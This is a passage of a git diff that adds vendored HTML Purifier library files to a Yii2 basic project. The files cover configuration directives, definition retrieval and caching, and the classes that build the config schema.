$this->serials[$namespace] = sha1(serialize($batch)); + } + return $this->serials[$namespace]; + } + + /** + * Returns a SHA-1 signature for the entire configuration object + * that uniquely identifies that particular configuration + * + * @return string + */ + public function getSerial() + { + if (empty($this->serial)) { + $this->serial = sha1(serialize($this->getAll())); + } + return $this->serial; + } + + /** + * Retrieves all directives, organized by namespace + * + * @warning This is a pretty inefficient function, avoid if you can + */ + public function getAll() + { + if (!$this->finalized) { + $this->autoFinalize(); + } + $ret = array(); + foreach ($this->plist->squash() as $name => $value) { + list($ns, $key) = explode('.', $name, 2); + $ret[$ns][$key] = $value; + } + return $ret; + } + + /** + * Sets a value to configuration. + * + * @param string $key key + * @param mixed $value value + * @param mixed $a + */ + public function set($key, $value, $a = null) + { + if (strpos($key, '.') === false) { + $namespace = $key; + $directive = $value; + $value = $a; + $key = "$key.$directive"; + $this->triggerError("Using deprecated API: use \$config->set('$key', ...) instead", E_USER_NOTICE); + } else { + list($namespace) = explode('.', $key); + } + if ($this->isFinalized('Cannot set directive after finalization')) { + return; + } + if (!isset($this->def->info[$key])) { + $this->triggerError( + 'Cannot set undefined directive ' . htmlspecialchars($key) . ' to value', + E_USER_WARNING + ); + return; + } + $def = $this->def->info[$key]; + + if (isset($def->isAlias)) { + if ($this->aliasMode) { + $this->triggerError( + 'Double-aliases not allowed, please fix '. + 'ConfigSchema bug with' . $key, + E_USER_ERROR + ); + return; + } + $this->aliasMode = true; + $this->set($def->key, $value); + $this->aliasMode = false; + $this->triggerError("$key is an alias, preferred directive name is {$def->key}", E_USER_NOTICE); + return; + } + + // Raw type might be negative when using the fully optimized form + // of stdclass, which indicates allow_null == true + $rtype = is_int($def) ? $def : $def->type; + if ($rtype < 0) { + $type = -$rtype; + $allow_null = true; + } else { + $type = $rtype; + $allow_null = isset($def->allow_null); + } + + try { + $value = $this->parser->parse($value, $type, $allow_null); + } catch (HTMLPurifier_VarParserException $e) { + $this->triggerError( + 'Value for ' . $key . ' is of invalid type, should be ' . + HTMLPurifier_VarParser::getTypeName($type), + E_USER_WARNING + ); + return; + } + if (is_string($value) && is_object($def)) { + // resolve value alias if defined + if (isset($def->aliases[$value])) { + $value = $def->aliases[$value]; + } + // check to see if the value is allowed + if (isset($def->allowed) && !isset($def->allowed[$value])) { + $this->triggerError( + 'Value not supported, valid values are: ' . + $this->_listify($def->allowed), + E_USER_WARNING + ); + return; + } + } + $this->plist->set($key, $value); + + // reset definitions if the directives they depend on changed + // this is a very costly process, so it's discouraged + // with finalization + if ($namespace == 'HTML' || $namespace == 'CSS' || $namespace == 'URI') { + $this->definitions[$namespace] = null; + } + + $this->serials[$namespace] = false; + } + + /** + * Convenience function for error reporting + * + * @param array $lookup + * + * @return string + */ + private function _listify($lookup) + { + $list = array(); + foreach ($lookup as $name => $b) { + $list[] = $name; + } + return implode(', ', $list); + } + + /** + * Retrieves object reference to the HTML definition. + * + * @param bool $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + * @param bool $optimized If true, this method may return null, to + * indicate that a cached version of the modified + * definition object is available and no further edits + * are necessary. Consider using + * maybeGetRawHTMLDefinition, which is more explicitly + * named, instead. + * + * @return HTMLPurifier_HTMLDefinition + */ + public function getHTMLDefinition($raw = false, $optimized = false) + { + return $this->getDefinition('HTML', $raw, $optimized); + } + + /** + * Retrieves object reference to the CSS definition + * + * @param bool $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + * @param bool $optimized If true, this method may return null, to + * indicate that a cached version of the modified + * definition object is available and no further edits + * are necessary. Consider using + * maybeGetRawCSSDefinition, which is more explicitly + * named, instead. + * + * @return HTMLPurifier_CSSDefinition + */ + public function getCSSDefinition($raw = false, $optimized = false) + { + return $this->getDefinition('CSS', $raw, $optimized); + } + + /** + * Retrieves object reference to the URI definition + * + * @param bool $raw Return a copy that has not been setup yet. Must be + * called before it's been setup, otherwise won't work. + * @param bool $optimized If true, this method may return null, to + * indicate that a cached version of the modified + * definition object is available and no further edits + * are necessary. Consider using + * maybeGetRawURIDefinition, which is more explicitly + * named, instead. + * + * @return HTMLPurifier_URIDefinition + */ + public function getURIDefinition($raw = false, $optimized = false) + { + return $this->getDefinition('URI', $raw, $optimized); + } + + /** + * Retrieves a definition + * + * @param string $type Type of definition: HTML, CSS, etc + * @param bool $raw Whether or not definition should be returned raw + * @param bool $optimized Only has an effect when $raw is true. Whether + * or not to return null if the result is already present in + * the cache. This is off by default for backwards + * compatibility reasons, but you need to do things this + * way in order to ensure that caching is done properly. + * Check out enduser-customize.html for more details. + * We probably won't ever change this default, as much as the + * maybe semantics is the "right thing to do." + * + * @throws HTMLPurifier_Exception + * @return HTMLPurifier_Definition + */ + public function getDefinition($type, $raw = false, $optimized = false) + { + if ($optimized && !$raw) { + throw new HTMLPurifier_Exception("Cannot set optimized = true when raw = false"); + } + if (!$this->finalized) { + $this->autoFinalize(); + } + // temporarily suspend locks, so we can handle recursive definition calls + $lock = $this->lock; + $this->lock = null; + $factory = HTMLPurifier_DefinitionCacheFactory::instance(); + $cache = $factory->create($type, $this); + $this->lock = $lock; + if (!$raw) { + // full definition + // --------------- + // check if definition is in memory + if (!empty($this->definitions[$type])) { + $def = $this->definitions[$type]; + // check if the definition is setup + if ($def->setup) { + return $def; + } else { + $def->setup($this); + if ($def->optimized) { + $cache->add($def, $this); + } + return $def; + } + } + // check if definition is in cache + $def = $cache->get($this); + if ($def) { + // definition in cache, save to memory and return it + $this->definitions[$type] = $def; + return $def; + } + // initialize it + $def = $this->initDefinition($type); + // set it up + $this->lock = $type; + $def->setup($this); + $this->lock = null; + // save in cache + $cache->add($def, $this); + // return it + return $def; + } else { + // raw definition + // -------------- + // check preconditions + $def = null; + if ($optimized) { + if (is_null($this->get($type . '.DefinitionID'))) { + // fatally error out if definition ID not set + throw new HTMLPurifier_Exception( + "Cannot retrieve raw version without specifying %$type.DefinitionID" + ); + } + } + if (!empty($this->definitions[$type])) { + $def = $this->definitions[$type]; + if ($def->setup && !$optimized) { + $extra = $this->chatty ? + " (try moving this code block earlier in your initialization)" : + ""; + throw new HTMLPurifier_Exception( + "Cannot retrieve raw definition after it has already been setup" . + $extra + ); + } + if ($def->optimized === null) { + $extra = $this->chatty ? " (try flushing your cache)" : ""; + throw new HTMLPurifier_Exception( + "Optimization status of definition is unknown" . $extra + ); + } + if ($def->optimized !== $optimized) { + $msg = $optimized ? "optimized" : "unoptimized"; + $extra = $this->chatty ? + " (this backtrace is for the first inconsistent call, which was for a $msg raw definition)" + : ""; + throw new HTMLPurifier_Exception( + "Inconsistent use of optimized and unoptimized raw definition retrievals" . $extra + ); + } + } + // check if definition was in memory + if ($def) { + if ($def->setup) { + // invariant: $optimized === true (checked above) + return null; + } else { + return $def; + } + } + // if optimized, check if definition was in cache + // (because we do the memory check first, this formulation + // is prone to cache slamming, but I think + // guaranteeing that either /all/ of the raw + // setup code or /none/ of it is run is more important.) + if ($optimized) { + // This code path only gets run once; once we put + // something in $definitions (which is guaranteed by the + // trailing code), we always short-circuit above. + $def = $cache->get($this); + if ($def) { + // save the full definition for later, but don't + // return it yet + $this->definitions[$type] = $def; + return null; + } + } + // check invariants for creation + if (!$optimized) { + if (!is_null($this->get($type . '.DefinitionID'))) { + if ($this->chatty) { + $this->triggerError( + 'Due to a documentation error in previous version of HTML Purifier, your ' . + 'definitions are not being cached. If this is OK, you can remove the ' . + '%$type.DefinitionRev and %$type.DefinitionID declaration. Otherwise, ' . + 'modify your code to use maybeGetRawDefinition, and test if the returned ' . + 'value is null before making any edits (if it is null, that means that a ' . + 'cached version is available, and no raw operations are necessary). See ' . + '' . + 'Customize for more details', + E_USER_WARNING + ); + } else { + $this->triggerError( + "Useless DefinitionID declaration", + E_USER_WARNING + ); + } + } + } + // initialize it + $def = $this->initDefinition($type); + $def->optimized = $optimized; + return $def; + } + throw new HTMLPurifier_Exception("The impossible happened!"); + } + + /** + * Initialise definition + * + * @param string $type What type of definition to create + * + * @return HTMLPurifier_CSSDefinition|HTMLPurifier_HTMLDefinition|HTMLPurifier_URIDefinition + * @throws HTMLPurifier_Exception + */ + private function initDefinition($type) + { + // quick checks failed, let's create the object + if ($type == 'HTML') { + $def = new HTMLPurifier_HTMLDefinition(); + } elseif ($type == 'CSS') { + $def = new HTMLPurifier_CSSDefinition(); + } elseif ($type == 'URI') { + $def = new HTMLPurifier_URIDefinition(); + } else { + throw new HTMLPurifier_Exception( + "Definition of $type type not supported" + ); + } + $this->definitions[$type] = $def; + return $def; + } + + public function maybeGetRawDefinition($name) + { + return $this->getDefinition($name, true, true); + } + + public function maybeGetRawHTMLDefinition() + { + return $this->getDefinition('HTML', true, true); + } + + public function maybeGetRawCSSDefinition() + { + return $this->getDefinition('CSS', true, true); + } + + public function maybeGetRawURIDefinition() + { + return $this->getDefinition('URI', true, true); + } + + /** + * Loads configuration values from an array with the following structure: + * Namespace.Directive => Value + * + * @param array $config_array Configuration associative array + */ + public function loadArray($config_array) + { + if ($this->isFinalized('Cannot load directives after finalization')) { + return; + } + foreach ($config_array as $key => $value) { + $key = str_replace('_', '.', $key); + if (strpos($key, '.') !== false) { + $this->set($key, $value); + } else { + $namespace = $key; + $namespace_values = $value; + foreach ($namespace_values as $directive => $value2) { + $this->set($namespace .'.'. $directive, $value2); + } + } + } + } + + /** + * Returns a list of array(namespace, directive) for all directives + * that are allowed in a web-form context as per an allowed + * namespaces/directives list. + * + * @param array $allowed List of allowed namespaces/directives + * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy + * + * @return array + */ + public static function getAllowedDirectivesForForm($allowed, $schema = null) + { + if (!$schema) { + $schema = HTMLPurifier_ConfigSchema::instance(); + } + if ($allowed !== true) { + if (is_string($allowed)) { + $allowed = array($allowed); + } + $allowed_ns = array(); + $allowed_directives = array(); + $blacklisted_directives = array(); + foreach ($allowed as $ns_or_directive) { + if (strpos($ns_or_directive, '.') !== false) { + // directive + if ($ns_or_directive[0] == '-') { + $blacklisted_directives[substr($ns_or_directive, 1)] = true; + } else { + $allowed_directives[$ns_or_directive] = true; + } + } else { + // namespace + $allowed_ns[$ns_or_directive] = true; + } + } + } + $ret = array(); + foreach ($schema->info as $key => $def) { + list($ns, $directive) = explode('.', $key, 2); + if ($allowed !== true) { + if (isset($blacklisted_directives["$ns.$directive"])) { + continue; + } + if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) { + continue; + } + } + if (isset($def->isAlias)) { + continue; + } + if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') { + continue; + } + $ret[] = array($ns, $directive); + } + return $ret; + } + + /** + * Loads configuration values from $_GET/$_POST that were posted + * via ConfigForm + * + * @param array $array $_GET or $_POST array to import + * @param string|bool $index Index/name that the config variables are in + * @param array|bool $allowed List of allowed namespaces/directives + * @param bool $mq_fix Boolean whether or not to enable magic quotes fix + * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy + * + * @return mixed + */ + public static function loadArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) + { + $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $schema); + $config = HTMLPurifier_Config::create($ret, $schema); + return $config; + } + + /** + * Merges in configuration values from $_GET/$_POST to object. NOT STATIC. + * + * @param array $array $_GET or $_POST array to import + * @param string|bool $index Index/name that the config variables are in + * @param array|bool $allowed List of allowed namespaces/directives + * @param bool $mq_fix Boolean whether or not to enable magic quotes fix + */ + public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) + { + $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def); + $this->loadArray($ret); + } + + /** + * Prepares an array from a form into something usable for the more + * strict parts of HTMLPurifier_Config + * + * @param array $array $_GET or $_POST array to import + * @param string|bool $index Index/name that the config variables are in + * @param array|bool $allowed List of allowed namespaces/directives + * @param bool $mq_fix Boolean whether or not to enable magic quotes fix + * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy + * + * @return array + */ + public static function prepareArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null) + { + if ($index !== false) { + $array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array(); + } + $mq = $mq_fix && function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc(); + + $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $schema); + $ret = array(); + foreach ($allowed as $key) { + list($ns, $directive) = $key; + $skey = "$ns.$directive"; + if (!empty($array["Null_$skey"])) { + $ret[$ns][$directive] = null; + continue; + } + if (!isset($array[$skey])) { + continue; + } + $value = $mq ? stripslashes($array[$skey]) : $array[$skey]; + $ret[$ns][$directive] = $value; + } + return $ret; + } + + /** + * Loads configuration values from an ini file + * + * @param string $filename Name of ini file + */ + public function loadIni($filename) + { + if ($this->isFinalized('Cannot load directives after finalization')) { + return; + } + $array = parse_ini_file($filename, true); + $this->loadArray($array); + } + + /** + * Checks whether or not the configuration object is finalized. + * + * @param string|bool $error String error message, or false for no error + * + * @return bool + */ + public function isFinalized($error = false) + { + if ($this->finalized && $error) { + $this->triggerError($error, E_USER_ERROR); + } + return $this->finalized; + } + + /** + * Finalizes configuration only if auto finalize is on and not + * already finalized + */ + public function autoFinalize() + { + if ($this->autoFinalize) { + $this->finalize(); + } else { + $this->plist->squash(true); + } + } + + /** + * Finalizes a configuration object, prohibiting further change + */ + public function finalize() + { + $this->finalized = true; + $this->parser = null; + } + + /** + * Produces a nicely formatted error message by supplying the + * stack frame information OUTSIDE of HTMLPurifier_Config. + * + * @param string $msg An error message + * @param int $no An error number + */ + protected function triggerError($msg, $no) + { + // determine previous stack frame + $extra = ''; + if ($this->chatty) { + $trace = debug_backtrace(); + // zip(tail(trace), trace) -- but PHP is not Haskell har har + for ($i = 0, $c = count($trace); $i < $c - 1; $i++) { + // XXX this is not correct on some versions of HTML Purifier + if ($trace[$i + 1]['class'] === 'HTMLPurifier_Config') { + continue; + } + $frame = $trace[$i]; + $extra = " invoked on line {$frame['line']} in file {$frame['file']}"; + break; + } + } + trigger_error($msg . $extra, $no); + } + + /** + * Returns a serialized form of the configuration object that can + * be reconstituted. + * + * @return string + */ + public function serialize() + { + $this->getDefinition('HTML'); + $this->getDefinition('CSS'); + $this->getDefinition('URI'); + return serialize($this); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php new file mode 100644 index 00000000..bfbb0f92 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php @@ -0,0 +1,176 @@ + array( + * 'Directive' => new stdclass(), + * ) + * ) + * + * The stdclass may have the following properties: + * + * - If isAlias isn't set: + * - type: Integer type of directive, see HTMLPurifier_VarParser for definitions + * - allow_null: If set, this directive allows null values + * - aliases: If set, an associative array of value aliases to real values + * - allowed: If set, a lookup array of allowed (string) values + * - If isAlias is set: + * - namespace: Namespace this directive aliases to + * - name: Directive name this directive aliases to + * + * In certain degenerate cases, stdclass will actually be an integer. In + * that case, the value is equivalent to an stdclass with the type + * property set to the integer. If the integer is negative, type is + * equal to the absolute value of integer, and allow_null is true. + * + * This class is friendly with HTMLPurifier_Config. If you need introspection + * about the schema, you're better of using the ConfigSchema_Interchange, + * which uses more memory but has much richer information. + * @type array + */ + public $info = array(); + + /** + * Application-wide singleton + * @type HTMLPurifier_ConfigSchema + */ + protected static $singleton; + + public function __construct() + { + $this->defaultPlist = new HTMLPurifier_PropertyList(); + } + + /** + * Unserializes the default ConfigSchema. + * @return HTMLPurifier_ConfigSchema + */ + public static function makeFromSerial() + { + $contents = file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser'); + $r = unserialize($contents); + if (!$r) { + $hash = sha1($contents); + trigger_error("Unserialization of configuration schema failed, sha1 of file was $hash", E_USER_ERROR); + } + return $r; + } + + /** + * Retrieves an instance of the application-wide configuration definition. + * @param HTMLPurifier_ConfigSchema $prototype + * @return HTMLPurifier_ConfigSchema + */ + public static function instance($prototype = null) + { + if ($prototype !== null) { + HTMLPurifier_ConfigSchema::$singleton = $prototype; + } elseif (HTMLPurifier_ConfigSchema::$singleton === null || $prototype === true) { + HTMLPurifier_ConfigSchema::$singleton = HTMLPurifier_ConfigSchema::makeFromSerial(); + } + return HTMLPurifier_ConfigSchema::$singleton; + } + + /** + * Defines a directive for configuration + * @warning Will fail of directive's namespace is defined. + * @warning This method's signature is slightly different from the legacy + * define() static method! Beware! + * @param string $key Name of directive + * @param mixed $default Default value of directive + * @param string $type Allowed type of the directive. See + * HTMLPurifier_DirectiveDef::$type for allowed values + * @param bool $allow_null Whether or not to allow null values + */ + public function add($key, $default, $type, $allow_null) + { + $obj = new stdclass(); + $obj->type = is_int($type) ? $type : HTMLPurifier_VarParser::$types[$type]; + if ($allow_null) { + $obj->allow_null = true; + } + $this->info[$key] = $obj; + $this->defaults[$key] = $default; + $this->defaultPlist->set($key, $default); + } + + /** + * Defines a directive value alias. + * + * Directive value aliases are convenient for developers because it lets + * them set a directive to several values and get the same result. + * @param string $key Name of Directive + * @param array $aliases Hash of aliased values to the real alias + */ + public function addValueAliases($key, $aliases) + { + if (!isset($this->info[$key]->aliases)) { + $this->info[$key]->aliases = array(); + } + foreach ($aliases as $alias => $real) { + $this->info[$key]->aliases[$alias] = $real; + } + } + + /** + * Defines a set of allowed values for a directive. + * @warning This is slightly different from the corresponding static + * method definition. + * @param string $key Name of directive + * @param array $allowed Lookup array of allowed values + */ + public function addAllowedValues($key, $allowed) + { + $this->info[$key]->allowed = $allowed; + } + + /** + * Defines a directive alias for backwards compatibility + * @param string $key Directive that will be aliased + * @param string $new_key Directive that the alias will be to + */ + public function addAlias($key, $new_key) + { + $obj = new stdclass; + $obj->key = $new_key; + $obj->isAlias = true; + $this->info[$key] = $obj; + } + + /** + * Replaces any stdclass that only has the type property with type integer. + */ + public function postProcess() + { + foreach ($this->info as $key => $v) { + if (count((array) $v) == 1) { + $this->info[$key] = $v->type; + } elseif (count((array) $v) == 2 && isset($v->allow_null)) { + $this->info[$key] = -$v->type; + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php new file mode 100644 index 00000000..d5906cd4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php @@ -0,0 +1,48 @@ +directives as $d) { + $schema->add( + $d->id->key, + $d->default, + $d->type, + $d->typeAllowsNull + ); + if ($d->allowed !== null) { + $schema->addAllowedValues( + $d->id->key, + $d->allowed + ); + } + foreach ($d->aliases as $alias) { + $schema->addAlias( + $alias->key, + $d->id->key + ); + } + if ($d->valueAliases !== null) { + $schema->addValueAliases( + $d->id->key, + $d->valueAliases + ); + } + } + $schema->postProcess(); + return $schema; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php new file mode 100644 index 00000000..5fa56f7d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php @@ -0,0 +1,144 @@ +startElement('div'); + + $purifier = HTMLPurifier::getInstance(); + $html = $purifier->purify($html); + $this->writeAttribute('xmlns', 'http://www.w3.org/1999/xhtml'); + $this->writeRaw($html); + + $this->endElement(); // div + } + + /** + * @param mixed $var + * @return string + */ + protected function export($var) + { + if ($var === array()) { + return 'array()'; + } + return var_export($var, true); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + */ + public function build($interchange) + { + // global access, only use as last resort + $this->interchange = $interchange; + + $this->setIndent(true); + $this->startDocument('1.0', 'UTF-8'); + $this->startElement('configdoc'); + $this->writeElement('title', $interchange->name); + + foreach ($interchange->directives as $directive) { + $this->buildDirective($directive); + } + + if ($this->namespace) { + $this->endElement(); + } // namespace + + $this->endElement(); // configdoc + $this->flush(); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive + */ + public function buildDirective($directive) + { + // Kludge, although I suppose having a notion of a "root namespace" + // certainly makes things look nicer when documentation is built. + // Depends on things being sorted. + if (!$this->namespace || $this->namespace !== $directive->id->getRootNamespace()) { + if ($this->namespace) { + $this->endElement(); + } // namespace + $this->namespace = $directive->id->getRootNamespace(); + $this->startElement('namespace'); + $this->writeAttribute('id', $this->namespace); + $this->writeElement('name', $this->namespace); + } + + $this->startElement('directive'); + $this->writeAttribute('id', $directive->id->toString()); + + $this->writeElement('name', $directive->id->getDirective()); + + $this->startElement('aliases'); + foreach ($directive->aliases as $alias) { + $this->writeElement('alias', $alias->toString()); + } + $this->endElement(); // aliases + + $this->startElement('constraints'); + if ($directive->version) { + $this->writeElement('version', $directive->version); + } + $this->startElement('type'); + if ($directive->typeAllowsNull) { + $this->writeAttribute('allow-null', 'yes'); + } + $this->text($directive->type); + $this->endElement(); // type + if ($directive->allowed) { + $this->startElement('allowed'); + foreach ($directive->allowed as $value => $x) { + $this->writeElement('value', $value); + } + $this->endElement(); // allowed + } + $this->writeElement('default', $this->export($directive->default)); + $this->writeAttribute('xml:space', 'preserve'); + if ($directive->external) { + $this->startElement('external'); + foreach ($directive->external as $project) { + $this->writeElement('project', $project); + } + $this->endElement(); + } + $this->endElement(); // constraints + + if ($directive->deprecatedVersion) { + $this->startElement('deprecated'); + $this->writeElement('version', $directive->deprecatedVersion); + $this->writeElement('use', $directive->deprecatedUse->toString()); + $this->endElement(); // deprecated + } + + $this->startElement('description'); + $this->writeHTMLDiv($directive->description); + $this->endElement(); // description + + $this->endElement(); // directive + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php new file mode 100644 index 00000000..2671516c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php @@ -0,0 +1,11 @@ + array(directive info) + * @type HTMLPurifier_ConfigSchema_Interchange_Directive[] + */ + public $directives = array(); + + /** + * Adds a directive array to $directives + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive + * @throws HTMLPurifier_ConfigSchema_Exception + */ + public function addDirective($directive) + { + if (isset($this->directives[$i = $directive->id->toString()])) { + throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine directive '$i'"); + } + $this->directives[$i] = $directive; + } + + /** + * Convenience function to perform standard validation. Throws exception + * on failed validation. + */ + public function validate() + { + $validator = new HTMLPurifier_ConfigSchema_Validator(); + return $validator->validate($this); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php new file mode 100644 index 00000000..127a39a6 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php @@ -0,0 +1,89 @@ + true). + * Null if all values are allowed. + * @type array + */ + public $allowed; + + /** + * List of aliases for the directive. + * e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))). + * @type HTMLPurifier_ConfigSchema_Interchange_Id[] + */ + public $aliases = array(); + + /** + * Hash of value aliases, e.g. array('alt' => 'real'). Null if value + * aliasing is disabled (necessary for non-scalar types). + * @type array + */ + public $valueAliases; + + /** + * Version of HTML Purifier the directive was introduced, e.g. '1.3.1'. + * Null if the directive has always existed. + * @type string + */ + public $version; + + /** + * ID of directive that supercedes this old directive. + * Null if not deprecated. + * @type HTMLPurifier_ConfigSchema_Interchange_Id + */ + public $deprecatedUse; + + /** + * Version of HTML Purifier this directive was deprecated. Null if not + * deprecated. + * @type string + */ + public $deprecatedVersion; + + /** + * List of external projects this directive depends on, e.g. array('CSSTidy'). + * @type array + */ + public $external = array(); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php new file mode 100644 index 00000000..126f09d9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php @@ -0,0 +1,58 @@ +key = $key; + } + + /** + * @return string + * @warning This is NOT magic, to ensure that people don't abuse SPL and + * cause problems for PHP 5.0 support. + */ + public function toString() + { + return $this->key; + } + + /** + * @return string + */ + public function getRootNamespace() + { + return substr($this->key, 0, strpos($this->key, ".")); + } + + /** + * @return string + */ + public function getDirective() + { + return substr($this->key, strpos($this->key, ".") + 1); + } + + /** + * @param string $id + * @return HTMLPurifier_ConfigSchema_Interchange_Id + */ + public static function make($id) + { + return new HTMLPurifier_ConfigSchema_Interchange_Id($id); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php new file mode 100644 index 00000000..655e6dd1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php @@ -0,0 +1,226 @@ +varParser = $varParser ? $varParser : new HTMLPurifier_VarParser_Native(); + } + + /** + * @param string $dir + * @return HTMLPurifier_ConfigSchema_Interchange + */ + public static function buildFromDirectory($dir = null) + { + $builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); + $interchange = new HTMLPurifier_ConfigSchema_Interchange(); + return $builder->buildDir($interchange, $dir); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @param string $dir + * @return HTMLPurifier_ConfigSchema_Interchange + */ + public function buildDir($interchange, $dir = null) + { + if (!$dir) { + $dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema'; + } + if (file_exists($dir . '/info.ini')) { + $info = parse_ini_file($dir . '/info.ini'); + $interchange->name = $info['name']; + } + + $files = array(); + $dh = opendir($dir); + while (false !== ($file = readdir($dh))) { + if (!$file || $file[0] == '.' || strrchr($file, '.') !== '.txt') { + continue; + } + $files[] = $file; + } + closedir($dh); + + sort($files); + foreach ($files as $file) { + $this->buildFile($interchange, $dir . '/' . $file); + } + return $interchange; + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @param string $file + */ + public function buildFile($interchange, $file) + { + $parser = new HTMLPurifier_StringHashParser(); + $this->build( + $interchange, + new HTMLPurifier_StringHash($parser->parseFile($file)) + ); + } + + /** + * Builds an interchange object based on a hash. + * @param HTMLPurifier_ConfigSchema_Interchange $interchange HTMLPurifier_ConfigSchema_Interchange object to build + * @param HTMLPurifier_StringHash $hash source data + * @throws HTMLPurifier_ConfigSchema_Exception + */ + public function build($interchange, $hash) + { + if (!$hash instanceof HTMLPurifier_StringHash) { + $hash = new HTMLPurifier_StringHash($hash); + } + if (!isset($hash['ID'])) { + throw new HTMLPurifier_ConfigSchema_Exception('Hash does not have any ID'); + } + if (strpos($hash['ID'], '.') === false) { + if (count($hash) == 2 && isset($hash['DESCRIPTION'])) { + $hash->offsetGet('DESCRIPTION'); // prevent complaining + } else { + throw new HTMLPurifier_ConfigSchema_Exception('All directives must have a namespace'); + } + } else { + $this->buildDirective($interchange, $hash); + } + $this->_findUnused($hash); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @param HTMLPurifier_StringHash $hash + * @throws HTMLPurifier_ConfigSchema_Exception + */ + public function buildDirective($interchange, $hash) + { + $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive(); + + // These are required elements: + $directive->id = $this->id($hash->offsetGet('ID')); + $id = $directive->id->toString(); // convenience + + if (isset($hash['TYPE'])) { + $type = explode('/', $hash->offsetGet('TYPE')); + if (isset($type[1])) { + $directive->typeAllowsNull = true; + } + $directive->type = $type[0]; + } else { + throw new HTMLPurifier_ConfigSchema_Exception("TYPE in directive hash '$id' not defined"); + } + + if (isset($hash['DEFAULT'])) { + try { + $directive->default = $this->varParser->parse( + $hash->offsetGet('DEFAULT'), + $directive->type, + $directive->typeAllowsNull + ); + } catch (HTMLPurifier_VarParserException $e) { + throw new HTMLPurifier_ConfigSchema_Exception($e->getMessage() . " in DEFAULT in directive hash '$id'"); + } + } + + if (isset($hash['DESCRIPTION'])) { + $directive->description = $hash->offsetGet('DESCRIPTION'); + } + + if (isset($hash['ALLOWED'])) { + $directive->allowed = $this->lookup($this->evalArray($hash->offsetGet('ALLOWED'))); + } + + if (isset($hash['VALUE-ALIASES'])) { + $directive->valueAliases = $this->evalArray($hash->offsetGet('VALUE-ALIASES')); + } + + if (isset($hash['ALIASES'])) { + $raw_aliases = trim($hash->offsetGet('ALIASES')); + $aliases = preg_split('/\s*,\s*/', $raw_aliases); + foreach ($aliases as $alias) { + $directive->aliases[] = $this->id($alias); + } + } + + if (isset($hash['VERSION'])) { + $directive->version = 